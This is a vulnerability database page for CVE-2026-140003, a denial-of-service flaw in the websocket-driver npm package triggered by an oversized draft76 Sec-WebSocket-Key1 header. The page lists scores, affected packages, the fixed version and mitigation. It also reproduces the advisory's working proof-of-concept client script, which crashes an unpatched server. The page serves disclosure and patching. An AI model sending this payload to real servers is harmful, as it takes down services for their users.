CVE-2026-140003
websocket- driver: Denial of service triggered by malformed Sec- WebSocket- Key1 header
- Severity
- 7.5HighNetwork attack, no privileges, no user interactionCVSS 3.1, CVE List
- Exploitation
- None reported
- Exploit chance
- 0.62% in 30 daysPercentile51stEPSS, scored
- Listed fix
0.8.0for websocket-driver (npm) From GitHub Advisories and OSV8 other affected packages
Overview
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, the draft76 handshake parser derives integers from Sec-WebSocket-Key1 and Sec-WebSocket-Key2 by extracting digits and dividing by the number of spaces, then writes the results as unsigned 32-bit values. An unauthenticated remote client can supply a key whose derived value exceeds 32 bits, causing a Buffer range exception that crashes the process on Node.js v22 and below. This issue is fixed in version 0.8.0.
CVSS 3.1 vector
Exploitability
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
Impact
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HExploit chance over time
Affected
Packages 9
| Package | Affected | Fixed |
|---|---|---|
websocket-drivernpm | before 0.8.0 | 0.8.0 |
js-jqueryAzure Linux:3 | through 3.5.0-4 | None listed |
python-tensorboardAzure Linux:3 | through 2.16.2-6 | None listed |
node-websocket-driverDebian:12 | All versions, plus listed versions 0.7.4+~cs0.6.14-10.7.4+~cs0.6.7-20.7.5+~cs0.6.14-1 | None listed |
node-websocket-driverDebian:13 | All versions, plus listed versions 0.7.4+~cs0.6.14-10.7.4+~cs0.6.7-20.7.5+~cs0.6.14-1 | None listed |
node-websocket-driverDebian:14 | All versions, plus listed versions 0.7.4+~cs0.6.14-10.7.4+~cs0.6.7-20.7.5+~cs0.6.14-1 | None listed |
librechat-0Docker Hardened Images:Alpine:3.23 | 0.8.8-r0 and later, plus listed versions 0.8.8-r10.8.8-r20.8.8-r30.8.8-r40.8.8-r5 Show 5 more versionsShow less0.8.8-r60.8.9-r00.8.9-r10.8.9-r20.8.9-r3 | None listed |
librechat-0Docker Hardened Images:Alpine:3.24 | 0.8.8-r0 and later, plus listed versions 0.8.8-r10.8.8-r20.8.8-r30.8.8-r40.8.8-r5 Show 5 more versionsShow less0.8.8-r60.8.9-r00.8.9-r10.8.9-r20.8.9-r3 | None listed |
librechat-0Docker Hardened Images:Debian:13 | 0.8.8-0 and later, plus listed versions 0.8.8-10.8.8-20.8.8-30.8.8-40.8.8-5 Show 5 more versionsShow less0.8.9-00.8.9-10.8.9-20.8.9-30.8.9-4 | None listed |
Only in multi-CVE advisories 1
Each of these advisories covers several CVEs at once, so it doesn’t establish that this one affects the package.
| Package | Affected | Fixed |
|---|---|---|
websocket-driverTuxCare:npm | 0.7.5-tuxcare.0 up to 0.7.5-tuxcare.3, plus listed versions From an advisory covering 5 CVEs 0.7.50.7.5-tuxcare.10.7.5-tuxcare.2 | 0.7.5-tuxcare.3 |
| 0.7.4-tuxcare.0 up to 0.7.4-tuxcare.3, plus listed versions From an advisory covering 5 CVEs 0.7.40.7.4-tuxcare.10.7.4-tuxcare.2 | 0.7.4-tuxcare.3 |
Products 1
Exploits
Sources link exploit code, tools that only detect the flaw and other work on it, and most don’t say which a link is.
| Link | Source | Date |
|---|---|---|
| googlesky/CVE-2026-140003 | PoC in GitHub | 2026-12-02 |
Sources
CVE List Score usedCVSS 3.17.5
websocket-driver: Denial of service triggered by malformed Sec-WebSocket-Key1 header
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, the draft76 handshake parser derives integers from Sec-WebSocket-Key1 and Sec-WebSocket-Key2 by extracting digits and dividing by the number of spaces, then writes the results as unsigned 32-bit values. An unauthenticated remote client can supply a key whose derived value exceeds 32 bits, causing a Buffer range exception that crashes the process on Node.js v22 and below. This issue is fixed in version 0.8.0.
- Record
CVE-2026-140003- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-248
- Updated
- 2026-12-03
EUVDEUVD-2026-139726CVSS 3.17.5
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, the draft76 handshake parser derives integers from Sec-WebSocket-Key1 and Sec-WebSocket-Key2 by extracting digits and dividing by the number of spaces, then writes the results as unsigned 32-bit values. An unauthenticated remote client can supply a key whose derived value exceeds 32 bits, causing a Buffer range exception that crashes the process on Node.js v22 and below. This issue is fixed in version 0.8.0.
- Record
EUVD-2026-139726- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-12-03
GitHub AdvisoriesGHSA-c4gv-fww2-jp3rCVSS 3.17.5
websocket-driver: Denial of service triggered by malformed Sec-WebSocket-Key1 header
Summary
An unauthenticated remote client can trigger an instant crash and denial of service by sending a WebSocket draft76 handshake with specially crafted headers.
Details
The websocket-driver library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the draft75 and draft76 versions. The draft76 version's handshake involves the client sending two headers named Sec-WebSocket-Key1 and Sec-WebSocket-Key2. A value is derived from each of these by extracting digits from them and dividing this value by the number of spaces in the header string. The derived values are each written into a buffer which is then hashed, and this process expects the values to fit inside 32 bits.
If the values are larger than 32 bits, this triggers an exception in Node's Buffer module and this causes the process to crash.
To mitigate this, the driver has been fixed to reject values that are too large, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option allowDrafts: true when creating a driver instance.
Proof of concept
Given a server using websocket-driver to handle WebSocket connections:
const net = require('net')
const ws = require('websocket-driver')
let server = net.createServer((conn) => {
let driver = ws.server()
driver.on('connect', () => {
if (ws.isWebSocket(driver)) driver.start()
})
driver.on('close', () => conn.end())
conn.pipe(driver.io).pipe(conn)
})
server.listen(8000)
A client can connect and send a set of headers that will pass as a draft76 handshake, with a specially constructed Sec-WebSocket-Key1 header:
const net = require('net')
let tcp = net.connect(8000, '127.0.0.1')
tcp.on('connect', () => {
tcp.write([
'GET / HTTP/1.1',
'Host: 127.0.0.1:8000',
'Connection: upgrade',
'Upgrade: websocket',
'Sec-WebSocket-Key1: 858 993 4592',
'Sec-WebSocket-Key2: 1 1',
'',
'12345678'
].join('\r\n'))
})
This will cause the server to crash on Node.js v22 and below.
Impact
An unauthenticated remote attacker can crash any Node.js process that accepts WebSocket upgrades through by sending a single HTTP request with a draft76 Sec-WebSocket-Key1 header whose derived value exceeds 32 bits in size.
- Record
GHSA-c4gv-fww2-jp3r- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-248
- Updated
- 2026-12-01
NVDCVSS 3.17.5
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, the draft76 handshake parser derives integers from Sec-WebSocket-Key1 and Sec-WebSocket-Key2 by extracting digits and dividing by the number of spaces, then writes the results as unsigned 32-bit values. An unauthenticated remote client can supply a key whose derived value exceeds 32 bits, causing a Buffer range exception that crashes the process on Node.js v22 and below. This issue is fixed in version 0.8.0.
- Record
CVE-2026-140003- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-248
- Updated
- 2026-12-03
OSVCVSS 3.17.5
websocket-driver: Denial of service triggered by malformed Sec-WebSocket-Key1 header
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, the draft76 handshake parser derives integers from Sec-WebSocket-Key1 and Sec-WebSocket-Key2 by extracting digits and dividing by the number of spaces, then writes the results as unsigned 32-bit values. An unauthenticated remote client can supply a key whose derived value exceeds 32 bits, causing a Buffer range exception that crashes the process on Node.js v22 and below. This issue is fixed in version 0.8.0.
- Record
CVE-2026-140003- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-248
- Updated
- 2026-12-01
OSVDEBIAN-CVE-2026-140003CVSS 3.17.5
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, the draft76 handshake parser derives integers from Sec-WebSocket-Key1 and Sec-WebSocket-Key2 by extracting digits and dividing by the number of spaces, then writes the results as unsigned 32-bit values. An unauthenticated remote client can supply a key whose derived value exceeds 32 bits, causing a Buffer range exception that crashes the process on Node.js v22 and below. This issue is fixed in version 0.8.0.
- Record
DEBIAN-CVE-2026-140003- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-12-03
Show 6 more recordsShow less
OSVDHI-hrij-zfjk-bz47-i4gtCVSS 3.17.5
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, the draft76 handshake…
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, the draft76 handshake parser derives integers from Sec-WebSocket-Key1 and Sec-WebSocket-Key2 by extracting digits and dividing by the number of spaces, then writes the results as unsigned 32-bit values. An unauthenticated remote client can supply a key whose derived value exceeds 32 bits, causing a Buffer range exception that crashes the process on Node.js v22 and below. This issue is fixed in version 0.8.0.
- Record
DHI-hrij-zfjk-bz47-i4gt- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-12-04
OSVGHSA-c4gv-fww2-jp3rCVSS 3.17.5
websocket-driver: Denial of service triggered by malformed Sec-WebSocket-Key1 header
Summary
An unauthenticated remote client can trigger an instant crash and denial of service by sending a WebSocket draft76 handshake with specially crafted headers.
Details
The websocket-driver library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the draft75 and draft76 versions. The draft76 version's handshake involves the client sending two headers named Sec-WebSocket-Key1 and Sec-WebSocket-Key2. A value is derived from each of these by extracting digits from them and dividing this value by the number of spaces in the header string. The derived values are each written into a buffer which is then hashed, and this process expects the values to fit inside 32 bits.
If the values are larger than 32 bits, this triggers an exception in Node's Buffer module and this causes the process to crash.
To mitigate this, the driver has been fixed to reject values that are too large, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option allowDrafts: true when creating a driver instance.
Proof of concept
Given a server using websocket-driver to handle WebSocket connections:
const net = require('net')
const ws = require('websocket-driver')
let server = net.createServer((conn) => {
let driver = ws.server()
driver.on('connect', () => {
if (ws.isWebSocket(driver)) driver.start()
})
driver.on('close', () => conn.end())
conn.pipe(driver.io).pipe(conn)
})
server.listen(8000)
A client can connect and send a set of headers that will pass as a draft76 handshake, with a specially constructed Sec-WebSocket-Key1 header:
const net = require('net')
let tcp = net.connect(8000, '127.0.0.1')
tcp.on('connect', () => {
tcp.write([
'GET / HTTP/1.1',
'Host: 127.0.0.1:8000',
'Connection: upgrade',
'Upgrade: websocket',
'Sec-WebSocket-Key1: 858 993 4592',
'Sec-WebSocket-Key2: 1 1',
'',
'12345678'
].join('\r\n'))
})
This will cause the server to crash on Node.js v22 and below.
Impact
An unauthenticated remote attacker can crash any Node.js process that accepts WebSocket upgrades through by sending a single HTTP request with a draft76 Sec-WebSocket-Key1 header whose derived value exceeds 32 bits in size.
- Record
GHSA-c4gv-fww2-jp3r- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-248
- Updated
- 2026-12-01
OSVAZL-117508No score
CVE-2026-140003 affecting package js-jquery 3.5.0-4
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, the draft76 handshake parser derives integers from Sec-WebSocket-Key1 and Sec-WebSocket-Key2 by extracting digits and dividing by the number of spaces, then writes the results as unsigned 32-bit values. An unauthenticated remote client can supply a key whose derived value exceeds 32 bits, causing a Buffer range exception that crashes the process on Node.js v22 and below. This issue is fixed in version 0.8.0.
- Record
AZL-117508- Updated
- 2026-12-03
OSVAZL-117644No score
CVE-2026-140003 affecting package python-tensorboard 2.16.2-6
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, the draft76 handshake parser derives integers from Sec-WebSocket-Key1 and Sec-WebSocket-Key2 by extracting digits and dividing by the number of spaces, then writes the results as unsigned 32-bit values. An unauthenticated remote client can supply a key whose derived value exceeds 32 bits, causing a Buffer range exception that crashes the process on Node.js v22 and below. This issue is fixed in version 0.8.0.
- Record
AZL-117644- Updated
- 2026-12-03
OSVCLSA-2026-1796199359No score
TuxCare security update for websocket-driver (5 CVEs)
TuxCare rebuilt websocket-driver to address 5 CVEs. Fixed in 0.7.5-tuxcare.3.
- Record
CLSA-2026-1796199359- Updated
- 2026-12-04
OSVCLSA-2026-1796206185No score
TuxCare security update for websocket-driver (5 CVEs)
TuxCare rebuilt websocket-driver to address 5 CVEs. Fixed in 0.7.4-tuxcare.3.
- Record
CLSA-2026-1796206185- Updated
- 2026-12-04
History
Recorded by Every CVE
| Day | Changed | Sources |
|---|---|---|
| Affected packages, other IDs | OSV | |
| Affected packages, other IDs | OSV | |
| References | OSV | |
| Published date | EUVD, NVD | |
| Key facts, references | CVE List | |
| Affected packages, other IDs, references | OSV | |
| Affected packages, other IDs, references | OSV | |
| Exploit links, key facts | PoC in GitHub | |
| Affected packages | OSV | |
| Affected packages, other IDs, references | OSV | |
| Published date | EUVD | |
| Affected packages, references | OSV | |
| Affected packages, key facts, references | GitHub Advisories | |
| Other IDs, references | OSV | |
| Other IDs, published date | EUVD, NVD | |
| First indexed | CVE List |
Upstream dates may differ.
References
github.com/faye/websocket-driver-node/security/advisories/GHSA-c4gv-fww2-jp3r
github.com/faye/websocket-driver-node/commit/851117d21fa8eb98f22856b5600e0688c5337214
nvd.nist.gov/vuln/detail/CVE-2026-140003
github.com/advisories/GHSA-c4gv-fww2-jp3r
github.com/CVEProject/cvelistV5/tree/main/cves/2026/140xxx/CVE-2026-140003.json
security-tracker.debian.org/tracker/CVE-2026-140003
scout.docker.com/v/DHI-hrij-zfjk-bz47-i4gt
ubuntu.com/security/CVE-2026-140003
people.ubuntu.com/~ubuntu-security/cve/CVE-2026-140003
github.com/faye/websocket-driver-node